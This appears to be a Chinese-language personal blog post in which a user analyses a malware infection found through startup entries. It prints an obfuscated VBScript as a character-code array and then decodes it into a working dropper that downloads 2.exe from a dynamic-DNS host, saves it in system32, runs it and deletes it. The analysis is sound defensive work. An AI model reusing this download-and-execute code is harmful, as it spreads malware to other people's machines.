電腦中毒了瞭解一點VBS相關知識

今天無意中發現自己電腦中毒了，每次開機都會發現自己的Administrator的帳號沒有開機顯示，而且被建立了兩個莫名其妙的管理員帳號，很是鬱悶，通過查看啟動項（MSCONFIG） 發現。多了幾個可疑的啟動項，在啟動項裡多了什麼  C:\WINDOWS\system32\

http1.vbs 通過檔案開啟是這樣一段代碼： (13,83,101,116,32,80,111,115,116,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,115,120,109,108,50,46,88,77,76,72,84,84,80,34,41,13,10,83,101,116,32,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,108,101,49,57,46,51,51,50,50,46,111,114,103,47,50,46,101,120,101,34,44,48,13,10,80,111,115,116,46,83,101,110,100,40,41,13,10,83,101,116,32,97,71,101,116,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,13,10,97,71,101,116,46,77,111,100,101,32,61,32,51,13,10,97,71,101,116,46,84,121,112,101,32,61,32,49,13,10,97,71,101,116,46,79,112,101,110,40,41,32,13,10,97,71,101,116,46,87,114,105,116,101,40,80,111,115,116,46,114,101,115,112,111,110,115,101,66,111,100,121,41,13,10,97,71,101,116,46,83,97,118,101,84,111,70,105,108,101,32,34,99,58,92,119,105,110,100,111,119,115,92,115,121,115,116,101,109,51,50,92,-20058,-13891,-15152,-18462,49,52,51,51,46,101,120,101,34,44,50,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,50,48,48,48,48,13,10,83,104,101,108,108,46,82,117,110,32,40,34,99,58,92,119,105,110,100,111,119,115,92,115,121,115,116,101,109,51,50,92,-20058,-13891,-15152,-18462,49,52,51,51,46,101,120,101,34,41,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,49,48,48,48,48,13,10,115,101,116,32,102,115,111,61,99,114,101,97,116,101,111,98,106,101,99,116,40,34,115,99,114,105,112,116,105,110,103,46,102,105,108,101,115,121,115,116,101,109,111,98,106,101,99,116,34,41,13,10,102,115,111,46,68,101,108,101,116,101,70,105,108,101,40,32,34,99,58,92,119,105,110,100,111,119,115,92,115,121,115,116,101,109,51,50,92,-20058,-13891,-15152,-18462,49,52,51,51,46,101,120,101,34,41,13,10)

沒看的懂，先是刪除了啟動項，重啟發現還是不行，開啟註冊表（regedit）尋找該啟動項刪掉註冊表之後開啟HTTP1.VBS發現通過C#程式重新編譯該段代碼打出excute 的內容： runner
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://le19.3322.org/2.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\windows\system32\놦즽쓐럢1433.exe",2
wscript.sleep 20000
Shell.Run ("c:\windows\system32\놦즽쓐럢1433.exe")
wscript.sleep 10000
set fso=createobject("scripting.filesystemobject")
fso.DeleteFile( "c:\windows\system32\놦즽쓐럢1433.exe")

這樣就一目瞭然了的知道了這段VBS到底想幹嗎了。希望把這些全部刪除後能有效，最大的問題是不知道病毒檔案놦즽쓐럢1433.exe 內執行了，什麼東西。希望不會對我的電腦造成太大的影響。

總結：中毒的方法，瀏覽網站+載入執行病毒檔案+下載VBS檔案+加入啟動項+加入註冊表+執行病毒檔案+（造成電腦故障）+刪除病毒檔案。